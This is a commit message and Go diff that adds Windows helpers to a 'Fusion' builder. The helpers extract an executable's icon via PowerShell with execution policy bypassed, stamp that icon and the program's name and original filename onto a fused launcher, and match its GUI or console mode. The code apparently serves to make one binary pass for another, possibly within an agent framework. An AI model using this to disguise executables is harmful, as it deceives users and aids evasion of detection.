Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.

server/internal/builder/icon_windows.go

@@ -0,0 +1,91 @@
+//go:build windows
+
+package builder
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
+func extractIconFromEXE(exePath, icoPath string) error {
+	exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
+	icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
+	script := fmt.Sprintf(`
+$ErrorActionPreference = 'Stop'
+Add-Type -AssemblyName System.Drawing
+$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
+if ($null -eq $icon) { throw 'no icon on executable' }
+$dir = Split-Path -Parent '%s'
+if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
+$fs = [System.IO.File]::Create('%s')
+$icon.Save($fs)
+$fs.Close()
+`, exeEsc, icoEsc, icoEsc)
+	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
+	}
+	if _, err := os.Stat(icoPath); err != nil {
+		return fmt.Errorf("icon file not created: %w", err)
+	}
+	return nil
+}
+
+// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
+func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
+	iconPath := filepath.Join(fusionDir, "prep-icon.ico")
+	if err := extractIconFromEXE(prepPath, iconPath); err != nil {
+		return err
+	}
+
+	productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
+	cmd := exec.Command(
+		"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
+		"make",
+		"--arch", "amd64",
+		"--in", fusionDir,
+		"--icon", iconPath,
+		"--file-description", productName,
+		"--product-name", productName,
+		"--original-filename", filepath.Base(prepPath),
+	)
+	cmd.Dir = fusionDir
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
+	}
+	log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
+	return nil
+}
+
+// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
+func peSubsystem(exePath string) int {
+	data, err := os.ReadFile(exePath)
+	if err != nil || len(data) < 128 {
+		return 2
+	}
+	peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
+	if peOff+24+68+2 > len(data) {
+		return 2
+	}
+	if string(data[peOff:peOff+4]) != "PE\x00\x00" {
+		return 2
+	}
+	opt := peOff + 24
+	sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
+	return sub
+}
+
+func fusionLdflags(prepPath string) string {
+	flags := "-s -w"
+	if peSubsystem(prepPath) == 2 {
+		flags += " -H windowsgui"
+	}
+	return flags
+}